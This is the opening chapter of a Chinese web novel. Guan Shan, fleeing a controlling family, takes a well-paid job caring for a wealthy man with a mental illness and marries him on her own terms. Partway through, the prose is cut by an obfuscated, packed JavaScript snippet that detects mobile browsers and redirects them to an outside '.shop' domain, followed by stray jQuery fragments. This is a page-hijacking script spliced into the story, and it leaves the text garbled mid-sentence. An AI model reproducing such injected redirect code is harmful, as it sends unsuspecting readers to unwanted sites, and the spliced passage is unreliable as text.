1. 打折鸡蛋和迷路大狗

作品:《捡到一棵树

    屿城是沿海城市,说是四季分明,但冬夏时间长,入秋便不大下雨了。但今年天气不似往常,夏天没下几次雨,入秋以后,雨水倒多了,气温也随着骤降。关山下班的时候,正赶上雨下得最大,风携着雨丝像小刀一样,刮在脸上生疼。地铁出站口三三两两立了几个人等雨势变小。但关山顾不了那么多,侧身从人群中挤出来,打着那把折了两根伞骨的伞一路小跑,只想快点回家。


    因为她法律上的丈夫正在家里等她。


    她手指太凉,又拿着滴水的伞,钥匙在微颤的手上发出轻响。刚将钥匙插进门锁,门就从里面打开了。一个身形高大的男人将她拉进来,然后帮她拿了拖鞋,又把雨伞放到卫生间。


    关山看了看垃圾桶里堆满的零食包装袋,搓了搓冻得发木的手。早上出门急,因为前一天加班到9点多,没来得及给他准备饭菜,家里只剩下一些零食。本来打算今天补偿他,一下雨,连超市里的蔬菜都没了。她空着手回来,正要解释,陈嘉木先一步握住她的手:“冷不冷?”


    几乎同时,她问:“饿不饿?”


    陈嘉木拉着她的手蹭了蹭他的脸,呲牙笑着:“饿。”


    “想吃饺子还是面条,不好意思,我....”她心里愧疚,一连几天不是加班就是团建,他的晚饭都是自己解决的。


    陈嘉木打断了她的话,脸上的笑容有所收敛:“你昨天答应给我做蓝莓山药的。不过我可以再等,有奖励吗?”


    “我给你买了棒棒糖!”关山的愧疚更上一层楼,从口袋里拿出两个荔枝味的棒棒糖塞到他手里,“明天我再给你做,好不好?”


    “你昨天也是这么说的...”陈嘉木看到了她包里露出一角的薯片包装,咽了咽口水,“还有别的吗?”


    关山轻轻叹了口气,故作惋惜地说:“薯片可以给你,但我本来想过两天给你定个蛋糕的,既然...”


    话没说完,陈嘉木如她所料:“那我要蛋糕!”


    “好,陈嘉木最好了。”关山抬手揉了他的脸,连忙脱下衣摆已经湿透的外套晾起来。又烧了一锅水,从前几天买的打折鸡蛋里拿出四个,准备煮面。等着水沸腾的间隙,她扭头看向陈嘉木。他正叼着棒棒糖,慢慢抚平糖纸,然后仔细地塞进手帐里。


    一个一米八几的成年男性,做出这些举动实在不寻常。因为她的丈夫陈嘉木,是个心理年龄还在儿童阶段的病人。


    直到现在,关山还是觉得一切不真实。做事一向稳重又不打算结婚的她,如今有了一个才认识不久的丈夫。确切地说,是她的大客户。


    思绪飘回两个月前。


    关山租住的小区周围已经没什么她爱吃的了,凑巧刷社交平台的时候看到运河边的夜市开了。那个地方她上学时常去,也正好在她下班的必经之路。她为了省钱已经很久没在外面吃了,夜市的消费水平,稍稍放纵一下也不心疼。


    她提前一站下地铁,走到夜市的时候天已经擦黑,远远看到沿着河岸有两排摊位,香气徐徐飘来,她已经看到淋着芝麻的红油小串、炸到金黄的土豆条在向她招手了。本以为这么热的天气,不会有很多人,没想到每个摊位都排队。她往土豆条的摊位挤,不知被谁踩了一脚,只能先走到一边把鞋带系好。


    抬头的时候,她注意到不远处的小公园里有一个男人,侧坐在长椅上发呆。蝉鸣,人声,他仿佛都听不到,整个人藏在树影下,如果不是发梢能被微风吹动,关山会认为他是个蜡像。


    奇怪的是,就算隔着一段距离,关山也感觉到了他散发出来的静默和不安。


    正在这时,关山手机响了,她看到男人回过头,连忙背过身接起电话:“你好。”


    “囡囡,最近过得怎么样?钱还够不够花?”继父的声音从听筒传过来。


    刚才没看来电显示就接了,关山皱了皱眉,很快笑着回答:“嗯,还好。怎么了?”


    “当初你搬出去住,一年多了你也应该冷静了,你和我有矛盾,但你总是你妈妈亲生的。我们一家人有什么事说开了不好吗?”


    她没说话,继续扫视两侧摊位。


    “我们知道你长大了,有自己的主意了。之前相亲的那些人,你不满意我们也没说什么。我们不会害你,都是希望你过得好。”


    她逛了一圈,在最爱的炸土豆和能果腹的炒饭间犹豫,不过看到写着第二份半价的牌子以后,果断排在了炒饭的队尾。她食量不算大,这下够她吃两顿了,又省下一笔。


    此时电话里安静了一会儿,然后换成她妈妈的声音:“我给你道歉还不行吗?我错了行不行。你要考研我们是没同意,但你现在不也有工作吗?新换的房子写的你弟弟名字,是因为他身体不好,要给他个保障,剩下的不全是你的吗?”


    她随着队伍缓慢往前挪。


    “囡囡,我们是血脉相连的亲人,回家吧。有什么话你和妈妈说。”


    关山觉得有什么在不断挤压她的心脏,炒饭的味道变得油腻,热风吹得她汗毛都炸开了。


    回家,家在哪儿?是那个她大哭大笑都被明令禁止的地方,还是因为加班而第二天晚起被骂懒鬼的地方。他们会做她喜欢吃的饭菜,然后在她大快朵颐的时候说她的腿太粗了。那一点甜混着沙子塞进了她嘴里,她无处可逃。


    她的痛苦太过普通,和她的平庸一样,说出来都显得矫情。


    不行,不能在外面哭。关山的目光落在周边的事物上,树是绿色的,天是蓝色的,云是白色的,运动鞋...运动鞋是黑色的。


    即便她沉默,电话里的声音也没想放过她:“我真是后悔生你!”


    电话被挂断,她舒了一口气,队伍正好排到她。先吃饭吧,吃饱了心就不空了。


    她拎着两份炒饭往回走,眼睛不免往小公园看去,长椅上的蜡像已经不在了。下一刻,她的包带被拉住了。


    那是一双骨节分明的手,指甲修剪得很干净,她顺着看过去,是个戴着眼镜五官端正的男人。眉骨和鼻梁都很高,一双丹凤眼让他棱角分明的脸柔和了许多。


    “我认得你。”


    好拙劣的搭讪方法。关山连忙拉开他的手,一脸戒备:“我不认识你。”


    他的表情难过又困惑,仔细


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198940|197143||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了看她的脸:“就是你....你叫....”


    关山注意到他的穿着,是个小众的奢侈品,袖口上有手缝的品牌缩写。她认得这个还是因为公司里那个富二代实习生最喜欢穿这个牌子。她又看了看他的脸,确实有点眼熟。


    是长椅上的雕像。


    “抱歉,我确实认识你。我生病了,所以记性不太好。”他试探着想再次拉住她的包带,但在看到她戒备的神情后收回手。他眉心微皱,刚要开口说什么,他的肚子先他一步出声了。


    大约是他的表情单纯无害,太像一只大狗,关山把手里的炒饭分给他:“给。”


    他接过炒饭,露出和高智感穿搭完全不符的笑容:“谢谢你。我找不到家了,中午就没吃东西。”


    然后大狗就这么亦步亦趋地跟着她,关山停,他也停,她跑起来,他也跟着跑。这是讹上她了。


    关山想把他引到派出所,不管他说的是真是假,都算对得起自己的良心。还没走两步,她就看到一个妆容精致穿着小高跟的女人快步走过来,身边还跟着一个年轻的西装男。


    大狗弯腰躲在关山身后,他这么大只,这行为显然是在掩耳盗铃。他的手紧紧抓着她的手臂,她僵了一瞬,向前一步挣开他。


    西装男对关山点了点头,旁边的女士看都没看她,只顾着和身后的男人说话。言谈间,关山听出来人是这个男人的妈妈和她的助理,这个男人有精神疾病,他们在劝说他回家。像是贪玩的少爷不愿意回去继承家业的戏码,关山没心思听这些,只想尽快回去吃饭休息,明天还要早起上班。


    奈何他扯着关山的包带就是不松手,他跟着关山,他妈妈和助理跟着他。她就这么带着三个人来到自己住的小区门口。她没耐心再配合他们了,来来往往的居民都在对她投来好奇的目光。


    她拿起手机准备报警,他妈妈终于把视线转向她:“我聘请你当他的生活助理,每个月5万块。”


    好多钱。


    关山拨号的手指停住,在接收一个精神病人和每个月多5万块收入间权衡。


    男助理跟着解释,说他患有双重人格,但不具有攻击性,会有专人负责他的医疗检查,吃穿等日常开支都不用她负责,她只需要照顾他的情绪。只要她体检合格,马上就可以签合同,本月的薪水算一整月,十分钟之内就可以打到她的卡上。


    然后关山在第二天完成了体检并正式上岗。原来他叫陈嘉木,他妈妈是常出现在屿城新闻的华裕集团老总。


    她也提出了附加条件:不能干涉她的私人生活;必须领证;所有约见不得在她的住所。她精准地计算得失,领证是独立的捷径,而一个精神状况不稳定的丈夫,远比普通人更可控。在这笔交易里,她只需要出卖一段时间的自由,换取的是彻底独立的钥匙。等攒够钱买房子,她就可以果断结束这场婚姻。


    关山不想再像摇尾乞怜的野狗一样,从原本的家,辗转到姥姥家,再到继父家,她不要再流浪。


    而这是一个绝佳的机会。


    于是她多了一个叫方竞舟的老板,和一个叫陈嘉木的室友。